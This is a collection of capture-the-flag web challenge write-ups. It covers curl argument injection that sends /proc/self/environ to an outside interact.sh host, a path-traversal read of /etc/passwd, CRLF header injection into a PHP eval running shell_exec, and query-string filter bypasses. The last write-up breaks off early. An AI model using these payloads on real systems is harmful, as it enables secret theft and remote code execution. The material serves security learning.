├── 2022 ├── zer0pts │ └── gitfile-explorer.md ├── CrewCTF │ └── CuaaS.md ├── LineCTF │ └── memo-drive.md ├── CakeCTF │ └── cakegear.md ├── BlackHat Mea │ └── jimmy_jammy.md └── Hack.lu │ └── babyelectron.md ├── 2023 └── HTBBusiness │ └── web-desynth-recruit.md ├── Hacktivitycon-2021 └── web-challenge-solutions.md ├── Intigriti-XSS-Challenges ├── 2022 │ └── Dec.md └── 2024 │ └── Jan.md └── Flatt-Security-XSS-Challenge └── solutions.md /Hacktivitycon-2021/web-challenge-solutions.md: -------------------------------------------------------------------------------- 1 | # OPA Secrets 2 | 3 | The application source code was provided : https://github.com/congon4tor/opa_secrets 4 | 5 | It's a flask application, the challenge descriptions says: *OPA! Check out our new secret management service* 6 | 7 | After signing up , we can add a secret by clicking on the `Create secret` button 8 | ![firefox_7rJil9jpkB](https://user-images.githubusercontent.com/31372554/133927976-ee43e760-73bc-44e1-abd0-2d3e151efcd8.png) 9 | 10 | There are three more users on the application , which we can find from the app.py file. : 11 | 12 | ```python3 13 | u = [ 14 | { 15 | "id": "1822f21a-d720-4494-a31f-943bec140789", 16 | "username": "congon4tor", 17 | "role": "admin", 18 | "password": os.getenv("AMDIN_PASSWORD", "qwerty123"), 19 | }, 20 | { 21 | "id": "243eae36-621a-47a6-b306-841bbffbcac4", 22 | "username": "jellytalk", 23 | "role": "user", 24 | "password": "test", 25 | }, 26 | { 27 | "id": "9d6492e1-c73d-4231-add7-7ea285fc98a1", 28 | "username": "pinkykoala", 29 | "role": "user", 30 | "password": "test", 31 | }, 32 | ] 33 | ``` 34 | The `congon4tor` user has the flag stored as a secret in his acc. 35 | 36 | On the profile settings page, http://challenge.ctf.games:30114/settings it says *We will fetch the image from the provided URL* . 37 | 38 | 39 | ![firefox_xIEQUVNsPY](https://user-images.githubusercontent.com/31372554/133928080-c29fb7fa-0055-4a56-a64c-eb0c6bb6c7ca.png) 40 | 41 | 42 | 43 | https://interact.projectdiscovery.io/#/ 44 | 45 | ![chrome_EAOaKB80vA](https://user-images.githubusercontent.com/31372554/133928205-25849f2c-885c-44e8-94ca-daadf618d6d2.png) 46 | 47 | You can notice the user agent it's curl, let's look more into the source code: 48 | 49 | ```python3 50 | @app.route("/updateSettings", methods=["POST"]) 51 | def updateSettings(): 52 | 53 | url = request.form.get("url") 54 | if not url: 55 | return redirect("settings?error=Missing parameters") 56 | 57 | if not session.get("id", None): 58 | return redirect("/signin?error=Please sign in") 59 | user_id = session.get("id") 60 | user = get_user(user_id) 61 | if not user: 62 | return redirect("/signin?error=Invalid session") 63 | 64 | if ( 65 | ";" in url 66 | or "`" in url 67 | or "$" in url 68 | or "(" in url 69 | or "|" in url 70 | or "&" in url 71 | or "<" in url 72 | or ">" in url 73 | ): 74 | return redirect("settings?error=Invalid character") 75 | 76 | cmd = f"curl --request GET {url} --output ./static/images/{user['id']} --proto =http,https" 77 | status = os.system(cmd) 78 | if status != 0: 79 | return redirect("settings?error=Error fetching the image") 80 | 81 | user["picture"] = user_id 82 | 83 | return redirect("settings?success=Successfully updated the profile picture") 84 | ``` 85 | 86 | The above code checks for special characters in the url to avoid command injection but not from *argument Injection*. We can add our own argument to the curl command like change the request method, send post data,etc. 87 | 88 | The flag is stored in the env variable. 89 | ``` 90 | s = [ 91 | { 92 | "id": "afce78a8-23d6-4f07-81f2-47c96ddb10cf", 93 | "name": "Flag", 94 | "value": os.getenv("FLAG", "TEST_FLAG"), 95 | }, 96 | { 97 | "id": "d2e0704c-55a5-4a63-aad5-849798283da5", 98 | "name": "Test 1", 99 | "value": "test secret", 100 | }, 101 | { 102 | "id": "491e16d2-fd2b-4965-bcb6-5931ef61ed5b", 103 | "name": "Test 2", 104 | "value": "test secret 2", 105 | }, 106 | ] 107 | ``` 108 | 109 | By adding an arguement like `-d @/proc/self/environ` this will send the content of the file `/proc/self/environ` to out controlled server. 110 | ![firefox_HZRIprVDFW](https://user-images.githubusercontent.com/31372554/133928548-8acbe206-0fd3-48e8-b3f6-ef3e321d91af.png) 111 | 112 | `https://x.interact.sh -X POST -d @/proc/self/environ` 113 | 114 | ![image](https://user-images.githubusercontent.com/31372554/133928677-81176d44-2ba9-4e7d-9d9c-02fddd832de0.png) 115 | 116 | After the ctf was over found that this was an unintended way, if you try to reproduce the same now it won't 117 | 118 | 119 | 120 | -------------------------------------------------------------------------------- /2022/zer0pts/gitfile-explorer.md: -------------------------------------------------------------------------------- 1 | # GitFile Explorer 2 | 3 | The description of the challenge says that *Read /flag.txt on the server.* 4 | 5 | Challenge site: http://gitfile.ctf.zer0pts.com:8001/ 6 | 7 | ![image](https://user-images.githubusercontent.com/31372554/159201070-6ff830dd-c0b1-4cf1-b3d2-7a80ef33f80f.png) 8 | 9 | 10 | It looks like a simple website which allows us to *download files on GitHub/GitLab/BitBucket* 11 | 12 | Upon clicking on the Download button, a request to this url is made https://raw.githubusercontent.com/ptr-yudai/ptrlib/master/README.md and the response of the url is shown in the textarea. 13 | 14 | ![image](https://user-images.githubusercontent.com/31372554/159201096-4ba15386-1104-47d6-ab77-3a67e98c2b83.png) 15 | 16 | 17 | We now have a basic understanding of the website , let see what we can do here to read the `/flag.txt` file. 18 | 19 | This url is in the address bar, when we click on the *Download* button: 20 | 21 | http://gitfile.ctf.zer0pts.com:8001/?service=https%3A%2F%2Fraw.githubusercontent.com&owner=ptr-yudai&repo=ptrlib&branch=master&file=README.md 22 | 23 | SSRF might be possible here as it is taking an url as an input and giving us back the response of the requested url. 24 | So I changed the `service` parameter value to a domain which I have control over eg: https://en516mcx269todj.m.pipedream.net 25 | 26 | 27 | ----------------- 28 | 29 | 30 | 31 | http://gitfile.ctf.zer0pts.com:8001/?service=https%3A%2F%2Fen516mcx269todj.m.pipedream.net&owner=ptr-yudai&repo=ptrlib&branch=master&file=README.md 32 | 33 | Upon visiting the above url, the application threw an error: 34 | 35 | ```html 36 | Deprecated: preg_match(): Passing null to parameter #2 ($subject) of type string is deprecated in /var/www/html/index.php on line 29
37 | 38 | ``` 39 | 40 | 41 | 42 | The `preg_match` function is used for pattern matching, so there might be a check in place to validate the `service` parameter values either matches to Github/Gitlab/Bitbucket domain or not. 43 | 44 | Then I changed the `service` parameter value to raw.githubusercontent.com.attacker.com 45 | 46 | http://gitfile.ctf.zer0pts.com:8001/?service=https%3A%2F%2Fraw.githubusercontent.com.attacker.com&owner=ptr-yudai&repo=ptrlib&branch=master&file=README.md 47 | 48 | And this time a different error was shown: 49 | 50 | ```html 51 | Warning: file_get_contents(): SSL operation failed with code 1. OpenSSL Error messages: 52 | error:1416F086:SSL routines:tls_process_server_certificate:certificate verify failed in /var/www/html/index.php on line 30
53 |
54 | Warning: file_get_contents(): Failed to enable crypto in /var/www/html/index.php on line 30
55 |
56 | Warning: file_get_contents(https://raw.githubusercontent.com.attacker.com/ptr-yudai/ptrlib/master/README.md): Failed to open stream: operation failed in /var/www/html/index.php on line 30
57 | 58 | ``` 59 | 60 | From this verbose error, it is clear that our input url was successfully passed to `file_get_contents` this time, this tells us that the url validation check is very weak. 61 | 62 | ----------------------- 63 | 64 | **Looking into the source code:** 65 | 66 | 67 | ```php 68 | 101 | ``` 102 | 103 | http://gitfile.ctf.zer0pts.com:8001/?service=https%3A%2F%2Fraw.githubusercontent.com&owner=ptr-yudai&repo=ptrlib&branch=master&file=README.md 104 | 105 | The `craft_url` function creates the final url which will be used later on by combining all the parameter values.It also checks the `service` parameter using `strpos` function, to see if it's contains the word github/gitlab/bitbucket 106 | 107 | Now this why when we put the following host in the `service` parameter raw.githubusercontent.com.attacker.com , it worked. 108 | 109 | The returned url from `craft_url` is then stored in variable `$url`, which is again validated using `preg_match` with a regex check. 110 | 111 | -------------- 112 | 113 | 114 | ```php 115 | php > echo preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", "https://github.com"); 116 | 1 117 | php > echo preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", "https//github.com"); 118 | 1 119 | php > echo preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", "https//xyz?github"); 120 | 1 121 | ``` 122 | 123 | Ok we can easily bypass the check now. 124 | Btw did you noticed the final url `https//xyz?github` , the colon is missing here after the protocol part. 125 | 126 | If we try to pass this url to `file_get_contents` function you will get below error: 127 | 128 | ```php 129 | php > echo file_get_contents('https//xyz?github'); 130 | PHP Warning: file_get_contents(https//xyz?github): failed to open stream: No such file or directory in php shell code on line 1 131 | ``` 132 | 133 | 134 | *No such file or directory* ahh nice. So php treats https//xyz?github as a local filen/directory right? 135 | 136 | 137 | 138 | Let's check what happens if we put the missing colon , will we get the same error: 139 | 140 | ```php 141 | php > echo file_get_contents('https://xyz?github'); 142 | PHP Warning: file_get_contents(): php_network_getaddresses: getaddrinfo failed: No address associated with hostname in php shell code on line 1 143 | PHP Warning: file_get_contents(https://xyz?github): failed to open stream: php_network_getaddresses: getaddrinfo failed: No address associated with hostname in php shell code on line 1 144 | ``` 145 | 146 | Naaaah! not the same result. This is treated as an url only. 147 | 148 | 149 | 150 | 151 | What if we traverse back and try to read `/etc/passwd` ,spolier alert it works :) 152 | 153 | ```php 154 | php > echo file_get_contents('https//xyz?github/../../../../etc/passwd'); 155 | root:x:0:0:root:/root:/bin/bash 156 | daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin 157 | bin:x:2:2:bin:/bin:/usr/sbin/nologin 158 | sys:x:3:3:sys:/dev:/usr/sbin/nologin 159 | sync:x:4:65534:sync:/bin:/bin/sync 160 | games:x:5:60:games:/usr/games:/usr/sbin/nologin 161 | man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 162 | lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin 163 | mail:x:8:8:mail:/var/mail:/usr/sbin/nologin 164 | news:x:9:9:news:/var/spool/news:/usr/sbin/nologin 165 | uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin 166 | proxy:x:13:13:proxy:/bin:/usr/sbin/nologin 167 | www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin 168 | backup:x:34:34:backup:/var/backups:/usr/sbin/nologin 169 | list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin 170 | ``` 171 | 172 | I saw something similar in a recently shared ctf challenge writeup (don't remember where but), so I knew what I can read files now. 173 | 174 | At first I was trying to solve the challenge like this: 175 | http://gitfile.ctf.zer0pts.com:8001/?service=https//xyz?github/../../../../etc/passwd&owner=ptr-yudai&repo=ptrlib&branch=master&file=README.md 176 | 177 | But it didn't worked as the final url was : `https//xyz?github/../../../../etc/passwd/ptr-yudai/ptrlib/master/README.md` , this file/dir didn't existed. 178 | 179 | I was focused on the `service` parameter only so I was trying to find a way to ignore rest of the path after `/etc/passwd`.But that didn't work. 180 | 181 | ```php 182 | file_get_contents('https//xyz?github/../../../../etc/passwdwhich ignores everything after this') 183 | ``` 184 | 185 | Then after a break, I realized I just need to change the `file` parameter value to something like: `../../../../../flag.txt` 186 | 187 | And after playing around a bit, I was able to read the flag: 188 | Final url 189 | http://gitfile.ctf.zer0pts.com:8001/?service=https//../../../%2523github&owner=ptr-yudai&repo=ptrlib&branch=master&file=../../../../../flag.txt 190 | 191 | 192 | `zer0pts{foo/bar/../../../../../directory/traversal}` 193 | -------------------------------------------------------------------------------- /2022/CrewCTF/CuaaS.md: -------------------------------------------------------------------------------- 1 | # Clean url as a Service 2 | 3 | 4 | ![image](https://user-images.githubusercontent.com/31372554/164913784-f3c5e9b7-e7c1-48fa-be5e-1db086f0987f.png) 5 | 6 | Upon visiting the site, we can see there is an input field which asks for an url. The placeholder is set to https://www.example.tld/cleanmepls?name=joe&age=13&address=very-very-very-long-string so let's try with a simple url such as: 7 | 8 | https://google.com/?test=test 9 | 10 | 11 | 12 | Upon clicking on the `clean` button , a POST request is sent to the `cleaner.php` endpoint and in the body of the request you can see our URL: 13 | 14 | ``` 15 | POST / HTTP/1.1 16 | Host: 127.0.0.1:1337 17 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 18 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 19 | Accept-Language: en-US,en;q=0.5 20 | Accept-Encoding: gzip, deflate 21 | Content-Type: application/x-www-form-urlencoded 22 | Content-Length: 45 23 | 24 | 25 | url=https%3A%2F%2Fgoogle.com%2F%3Ftest%3Dtest 26 | ``` 27 | 28 | 29 | The server returns this output: 30 | 31 | ![image](https://user-images.githubusercontent.com/31372554/164913766-6885efbf-08a1-413a-b5d2-7b9e0e269a84.png) 32 | 33 | 34 | ``` 35 | There your cleaned url: google.com 36 | Thank you For Using our Service! 37 | ``` 38 | 39 | OK, from this output it's clear that the application just takes an URL as an input and returns the host part as the output. Or is to so? 40 | 41 | 42 | -------------------------- 43 | 44 | 45 | Let's dive deep into the source code to figure it out: 46 | We were provided with two php files `index.php` and `cleaner.php` 47 | 48 | `Cleaner.php` (section 1) 49 | ```php 50 | "); 55 | 56 | } 57 | 58 | 59 | echo "
There your cleaned url: ".$_POST['host']; 60 | echo "
Thank you For Using our Service!"; 61 | 62 | 63 | function tryandeval($value){ 64 | echo "
How many you visited us "; 65 | eval($value); 66 | } 67 | 68 | 69 | foreach (getallheaders() as $name => $value) { 70 | error_log($value); 71 | if ($name == "X-Visited-Before"){ // [2] 72 | tryandeval($value); 73 | }} 74 | ?> 75 | 76 | ``` 77 | 78 | `index.php` (section 2) 79 | 80 | ```php 81 | 82 | $query); 95 | $cleanerurl = "http://127.0.0.1/cleaner.php"; 96 | $stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [ //[1] 97 | 'method' => 'POST', 98 | 'header' => "X-Original-URL: $uncleanedURL", 99 | 'content' => http_build_query($data) 100 | ] 101 | ])); 102 | echo $stream; 103 | ?> 104 | 105 | ``` 106 | 107 | The `index.php` code starts with a *if condition check* which basically checks for two things the `REQUEST_METHOD` and the `url` parameter. If the request method is *POST* and in the request body there is `url` parameter. 108 | 109 | The `clean_and_send` function is called and the url is directly passed as an *arguement* to this function. 110 | 111 | In the function, the argument url is stored in the `$uncleanedURL` variable. 112 | 113 | This array is then stored in the `$values` variable. 114 | 115 | ```php 116 | php > print_r(parse_url("https://google.com/?test=test")); 117 | Array 118 | ( 119 | [scheme] => https 120 | [host] => google.com 121 | [path] => / 122 | [query] => test=test 123 | ) 124 | ``` 125 | 126 | By executing the challenge code line by line, you can get a understanding of what the code does. 127 | 128 | ```php 129 | php > $host = explode('/',$values['host']); 130 | php > echo $host; 131 | PHP Notice: Array to string conversion in php shell code on line 1 132 | Array 133 | php > print_r($host); 134 | Array 135 | ( 136 | [0] => google.com 137 | ) 138 | ``` 139 | 140 | In line `[1]` , using *file_get_contents* a POST request to the `/cleaner.php` is made along with one additional header `'header' => "X-Original-URL: $uncleanedURL"` , on the side note we have full control over `X-Original-URL` header value let's keep this in mind and check the `cleaner.php` code to understand how it handles the POST request. 141 | 142 | 143 | On the very first line in `cleaner.php`, there is a condition to check whether the client's IP is equal to 127.0.0.1 or not. 144 | 145 | There is one interesting function `tryandeval` which is only invoked if the POST request contains the `X-Visited-Before` header (the value of this header is passed as an arguement to tryandeval function) it then passes the header value to `eval`. 146 | 147 | So now we have our goal clear of what we need to do, we have to find a way to include `X-Visited-Before` header in the POST request which is sent to the `cleaner.php` endpoint ([1]) 148 | 149 | 150 | 151 | As the cleaner.php endpoint was accessible by directly visiting the http://challengesite.xyz/cleaner.php , I thought if there's any way to bypass the `$_SERVER["REMOTE_ADDR"] != "127.0.0.1"` check we can easily add the required `X-Visited-Before` header and execute any command we want. 152 | 153 | After reading some articles & stackoverflow posts, I found that it was the correct way of validating client's IP.So I then started looking at other part of the [1] line. 154 | 155 | Remeber earlier I told to keep note of the `X-Original-URL` , as we have full control over it's value we can try including crlf characters to check if header injection is possible or not. 156 | 157 | It was just assumption what would happen if I run the following code: 158 | 159 | ```php 160 | 161 | $uncleanedURL = $_GET['uncleanedURL']; 162 | 163 | 164 | function test($uncleanedURL){ 165 | $cleanerurl = "https://en2celr7rewbul.m.pipedream.net"; 166 | $data = "test"; 167 | $stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [ 168 | 'method' => 'POST', 169 | 'header' => "X-Original-URL: $uncleanedURL", 170 | 'content' => http_build_query($data) ] 171 | ])); 172 | } 173 | 174 | test($uncleanedURL); 175 | ``` 176 | ```bash 177 | curl "http://127.0.0.1:1337/test.php?uncleanedURL=https://google.com/?test=test" 178 | ``` 179 | 180 | ![chrome_3LXzVAMNyB](https://user-images.githubusercontent.com/31372554/164913802-1f44c24b-5316-49fb-9e40-267ba9b350f8.png) 181 | 182 | 183 | Now let's try to add a new header using `%0AX-Hacked:shirley` 184 | 185 | ```bash 186 | curl "http://127.0.0.1:1337/test.php?uncleanedURL=https://google.com/?test=test%0AX-Hacked:shirley" 187 | ``` 188 | 189 | 190 | ![chrome_VO98hEuiO3](https://user-images.githubusercontent.com/31372554/164913805-3aa1a4b6-e595-4748-8a86-5315dfe045de.png) 191 | 192 | 193 | We have successfully added a new header 😎 194 | 195 | 196 | ---------------------------------------------------------- 197 | 198 | 199 | 200 | Coming to back to the challenge code, let's try to input the following url: `https://google.com/?test=test%0AX-Visited-Before:1` 201 | 202 | 203 | ![ubuntu_sv5JH76CN8](https://user-images.githubusercontent.com/31372554/164913824-7c24ce34-f48e-4f27-8917-075975278870.png) 204 | 205 | 206 | The application didn't even returned any message , if we look at the above screenshot: 207 | 208 | On the right hand side you can see that we have successfully added the `X-Visited-Before` header to the request , but it seems an error was triggered by the `eval` function. 209 | 210 | eval function executes any given string as a php code, `shirley` was provided as a string to the eval function. As `shirley` string isn't a valid php code the error was triggered. 211 | 212 | Let's this try something simple: `echo 1337;` (semicolon is necessary as in php every statement should end with a semicolon) 213 | 214 | ```bash 215 | curl http://127.0.0.1:1337/ -d "url=https://google.com/%0aX-Visited-Before:echo 1337;" -X POST 216 | ``` 217 | 218 | We get the following response: 219 | 220 | ```html 221 |
There your cleaned url: google.com
Thank you For Using our Service!
How many you visited us 1337 222 | ``` 223 | 224 | Bingoo ! We can also execute any system command such as `id` 225 | 226 | ```bash 227 | curl http://127.0.0.1:1337/ -d "url=https://google.com/%0aX-Visited-Before:echo shell_exec('id');" -X POST 228 | ``` 229 | 230 | ``` 231 |
There your cleaned url: google.com
Thank you For Using our Service!
How many you visited us uid=1000(shirley) gid=1000(shirley) groups=1000(shirley),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo) 232 | ``` 233 | 234 | 235 | 236 | In the end when I actually used the same payload on the challenge site, it didn't worked for some reasons which I wasn't aware. I tried some payload variations such as `%0A%0Dheader:value` but still couldn't figured it out. 237 | As I was making no progress , I decided to contact the author of the challenge and explained everything to him. Turns out the problem was that the challenge site was running on Apache webserver and I was using the inbuilt php webserver. 238 | 239 | The final working payload which also worked on the challenge site was: `https://google.com/%0D%0AX-Visited-Before:echo+1;` 240 | 241 | -------------------------------------------------------------------------------- /2022/LineCTF/memo-drive.md: -------------------------------------------------------------------------------- 1 | # Memo Drive 2 | 3 | I wasn't able to solve any challenge during the ctf as they were really hard for me, this solution is written based upon my understanding of the solution shared by other participants who were able to solve them during the ctf, so kudos to them :). 4 | 5 | http://34.146.195.115/ 6 | 7 | ![image](https://user-images.githubusercontent.com/31372554/160285877-28916c08-b8bf-4ca6-a75f-af0b30211500.png) 8 | 9 | 10 | This how the challenge site looks like. 11 | We can add any content inside the memo and then save it. 12 | 13 | The memo then can be accessed from an example url such as: http://34.146.195.115/view?4e939e79f9480c4f6e197f46b41edc7a=0_20220327123141 14 | 15 | There is a xxs vulnerability , but we are not interested in it. 16 | As there is nothing much in the web app let's look into the source code to understand what's goin on. 17 | 18 | ![image](https://user-images.githubusercontent.com/31372554/160286256-4e2115dd-c7e3-44b2-b400-a18494363676.png) 19 | 20 | 21 | 22 | `/view?2987bf4c72b6ade55901d57df14810f7=0_20220327130706` 23 | 24 | In the above path: `2987bf4c72b6ade55901d57df14810f7` is the clientId ,which is calculated using the below python code. 25 | 26 | //code 1 27 | ```python 28 | def getClientID(ip): 29 | key = ip + '_' + os.getenv('SALT') 30 | 31 | return hashlib.md5(key.encode('utf-8')).hexdigest() 32 | ``` 33 | 34 | `0_20220327130706` is the filename, which is created using below code. 35 | 36 | //code 2 37 | ```python 38 | filename = str(idx) + '_' + datetime.datetime.now().strftime('%Y%m%d%H%M%S') #idx just refers to the no of memos 39 | ``` 40 | 41 | We also found that the , memo contents are stored in the filesystem. 42 | In a directory structure like this: `./memo/2987bf4c72b6ade55901d57df14810f7/0_20220327130706` 43 | 44 | ```bash 45 | 46 | memo@96cd1278fb0b:/usr/local/opt/memo-drive$ ls -R 47 | .: 48 | index.py memo requirements.txt start.sh static view 49 | 50 | ./memo: 51 | 2987bf4c72b6ade55901d57df14810f7 flag 52 | 53 | ./memo/2987bf4c72b6ade55901d57df14810f7: 54 | 0_20220327130706 55 | 56 | ./static: 57 | jquery.min.js memo.css memo.js 58 | 59 | ./view: 60 | index.html view.html 61 | ``` 62 | 63 | One more important thing, the flag is stored in a file whose location is : `./memo/flag` , so we probably have to find a way to read this file. 64 | 65 | //code 3 66 | ```python 67 | 68 | Route('/view', endpoint=view) 69 | 70 | def view(request): 71 | context = {} 72 | 73 | try: 74 | context['request'] = request 75 | clientId = getClientID(request.client.host) 76 | 77 | print("request.url.query: {}".format(request.url.query)) 78 | 79 | if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]): 80 | print("You are caught") 81 | raise 82 | 83 | filename = request.query_params[clientId] 84 | print("Filename: {}".format(filename)) 85 | print("request.query_params: {}".format(request.query_params)) 86 | print("request.query_params.keys(): {}".format(request.query_params.keys())) 87 | path = './memo/' + "".join(request.query_params.keys()) + '/' + filename 88 | print("Path: {}".format(path)) 89 | 90 | f = open(path, 'r') 91 | contents = f.readlines() 92 | f.close() 93 | 94 | context['filename'] = filename 95 | context['contents'] = contents 96 | 97 | except: 98 | pass 99 | 100 | return templates.TemplateResponse('/view/view.html', context) 101 | ``` 102 | 103 | We can't simply just traverse one directory back to read the flag file, there is some check in place. 104 | 105 | 106 | //Code 4 107 | ```python 108 | if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]): 109 | print("You are caught") 110 | raise 111 | ``` 112 | 113 | The above code checks if there is any `.` , `&` character in the request.url.query 114 | 115 | 116 | I couldn't find any way to solve this challenge, so I waited for the solution . The solutions were pretty amazing to me, there was also one unintended solution which kinda blew my mind. 117 | 118 | 119 | ----------------------------- 120 | 121 | Intended Solution: 122 | ------------------ 123 | 124 | This is how the path is generated: 125 | 126 | //code 5 127 | ```python 128 | path = './memo/' + "".join(request.query_params.keys()) + '/' + filename 129 | ``` 130 | 131 | `request.query_params.keys()` returns the parameter names as an array 132 | 133 | For eg: 134 | If this is the url: http://hack.x/?paramA=valueA¶mB=valueB 135 | Then, 136 | `request.query_params.keys()` will return `dict_keys(['paramA', 'paramB'])` 137 | 138 | `"".join` will just join both the values which will return `paramAparamB` 139 | 140 | 141 | As we can't use `&` in our url due to the if condition check (check `Code 4` ).So we need to find some other way to include another parameter. 142 | If the `&` character check wasn't there, we could have easily done something like: 143 | 144 | 145 | ?2987bf4c72b6ade55901d57df14810f7=flag&/..= 146 | 147 | ```python 148 | >filename = request.query_params[clientId] 149 | >print("Filename: {}".format(filename)) 150 | Filename: flag 151 | 152 | >print("request.query_params: {}".format(request.query_params)) 153 | request.query_params: 2987bf4c72b6ade55901d57df14810f7=flag&/..= 154 | 155 | >print("request.query_params.keys(): {}".format(request.query_params.keys())) 156 | request.query_params.keys(): dict_keys(['2987bf4c72b6ade55901d57df14810f7', '/..']) 157 | 158 | >path = './memo/' + "".join(request.query_params.keys()) + '/' + filename 159 | Path: ./memo/2987bf4c72b6ade55901d57df14810f7/../flag 160 | ``` 161 | 162 | When this path `./memo/2987bf4c72b6ade55901d57df14810f7/../flag` will be passed to open() function , it will return the contents of the *flag* file. 163 | 164 | But as we can't use the `&` character this theory isn't possible currently. 165 | 166 | ------------------------------ 167 | 168 | **`&` and `;` are treated similarly** 169 | 170 | If suppose this is the url: http://localhost/test?paramA=valueA;paramB=valueB 171 | (Notice that we have used `;` instead of `&`) 172 | 173 | ```python 174 | > print("request.query_params: {}".format(request.query_params)) 175 | paramA=valueA¶mB=valueB 176 | ``` 177 | 178 | Did you just saw what happened? 179 | `;` was replaced with `&` , due to this behaviour we can now include another parameter. which will allow us to modify the path by traversing back. 180 | The if condition checks for `.` in `request.query_params[clientId]` and in `request.url.query` in (code 4) 181 | 182 | To bypass the check we can simply double url encode `.` and this will successfully bypass the check: 183 | 184 | 185 | http://localhost/view?2987bf4c72b6ade55901d57df14810f7=flag;/%2e%2e 186 | 187 | ```python 188 | >print("Filename: {}".format(filename)) 189 | Filename: flag 190 | 191 | >print("request.query_params: {}".format(request.query_params)) 192 | request.query_params: 2987bf4c72b6ade55901d57df14810f7=flag&%2F..= 193 | 194 | >print("request.query_params.keys(): {}".format(request.query_params.keys())) 195 | request.query_params.keys(): dict_keys(['2987bf4c72b6ade55901d57df14810f7', '/..']) 196 | 197 | Path: ./memo/2987bf4c72b6ade55901d57df14810f7/../flag 198 | ``` 199 | 200 | The flag will be shown in the page: `LINECTF{The_old_bug_on_urllib_parse_qsl_fixed}` 201 | ![image](https://user-images.githubusercontent.com/31372554/160285940-d0135264-b642-4fea-9881-9058e77a3bc8.png) 202 | 203 | 204 | Thanks to the people who shared their solution :) 205 | 206 | ------------ 207 | 208 | Unintended Solution: 209 | --------------------- 210 | 211 | @bbangjo shared this freaking awesome solution in the discord chat: 212 | 213 | ![chrome_pCxk1B4C6y](https://user-images.githubusercontent.com/31372554/160285965-8677a031-e779-437a-ab91-a8511739b584.png) 214 | 215 | ![chrome_JypblwVN97](https://user-images.githubusercontent.com/31372554/160285969-0488a4dd-2682-4085-9884-16ac9cb80666.png) 216 | 217 | Here is the code: 218 | 219 | ```python 220 | from requests import * 221 | 222 | #url = "http://localhost:3000" 223 | url = "http://my-server.com" 224 | def ex(): 225 | p = "/view?9a80c63d7c76528586dcecbd8c1c7416=flag&/.." 226 | h = { 227 | 'Host': '34.146.195.115#' 228 | } 229 | r = get(url+p, headers=h) 230 | print (r.text) 231 | 232 | if __name__ == "__main__": 233 | ex() 234 | ``` 235 | 236 | For more simplicity look at the below request: 237 | 238 | ``` 239 | GET /view?2987bf4c72b6ade55901d57df14810f7=flag&/.. HTTP/1.1 240 | Host: 34.146.195.115# 241 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 242 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 243 | ``` 244 | 245 | Did you notice the `#` appended in the `Host` header value? 246 | 247 | Because of this `#` character , now `request.url.query` doesn't returns anything. 248 | 249 | 250 | 251 | ```python 252 | >print("request.url.query: {}".format(request.url.query)) 253 | request.url.query: 254 | Filename: flag 255 | request.query_params: 2987bf4c72b6ade55901d57df14810f7=flag&%2F..= 256 | request.query_params.keys(): dict_keys(['2987bf4c72b6ade55901d57df14810f7', '/..']) 257 | Path: ./memo/2987bf4c72b6ade55901d57df14810f7/../flag 258 | ``` 259 | 260 | As `request.url.query` doesn't returns anything the if codition check is easily bypassed: 261 | 262 | ```python 263 | if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]): 264 | print("You are caught") 265 | raise 266 | ``` 267 | -------------------------------------------------------------------------------- /2022/CakeCTF/cakegear.md: -------------------------------------------------------------------------------- 1 | # Cake gear 2 | 3 | (I didn't solved it during the ctf, the writeup is based upon other people who have shared their solution so thanks to them) 4 | 5 | Visiting the site http://web1.2022.cakectf.com:8005/ , shows the login page 6 | 7 | ![image](https://user-images.githubusercontent.com/31372554/188317708-97f1ef3d-907f-4734-8362-4be1c56142d5.png) 8 | 9 | 10 | Login request looks like this: 11 | 12 | ``` 13 | POST / HTTP/1.1 14 | Host: web1.2022.cakectf.com:8005 15 | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0 16 | Accept: */* 17 | Accept-Language: en-US,en;q=0.5 18 | Accept-Encoding: gzip, deflate 19 | Content-Type: text/plain;charset=UTF-8 20 | Content-Length: 39 21 | Origin: http://web1.2022.cakectf.com:8005 22 | Connection: close 23 | Referer: http://web1.2022.cakectf.com:8005/ 24 | Cookie: session=eyJjc3JmX3Rva2VuIjoiMmY1ZGU1ZmJmZmNmODFmYWQ2NWJkYmQ2ZDUyNGQ2ODNjNjMwMzM3ZiIsInVzZXIiOiJzaGlybGV5cyJ9.YxQOog.QWOQS-Wj5lRHqNFrwuTqIvRDMX8; PHPSESSID=5abb07f87a3054791c20c7019c5e8de8 25 | 26 | {"username":"admin","password":"admin"} 27 | ``` 28 | 29 | From view-source, in the javascript code: 30 | 31 | ```js 32 | function login() { 33 | let error = document.getElementById('error-msg'); 34 | let username = document.getElementById('username').value; 35 | let password = document.getElementById('password').value; 36 | let xhr = new XMLHttpRequest(); 37 | xhr.addEventListener('load', function() { 38 | let res = JSON.parse(this.response); 39 | if (res.status === 'success') { 40 | window.location.href = "/admin.php"; 41 | } else { 42 | error.innerHTML = "Invalid credential"; 43 | } 44 | }, false); 45 | xhr.withCredentials = true; 46 | xhr.open('post', '/'); 47 | xhr.send(JSON.stringify({ username, password })); 48 | } 49 | ``` 50 | 51 | We can see there's an endpoint `/admin.php` , http://web1.2022.cakectf.com:8005/admin.php but this also redirect us to the login page.So without wasting any more time let's look at the source code. 52 | 53 | There are only two php files admin.php and index.php 54 | 55 | 56 | 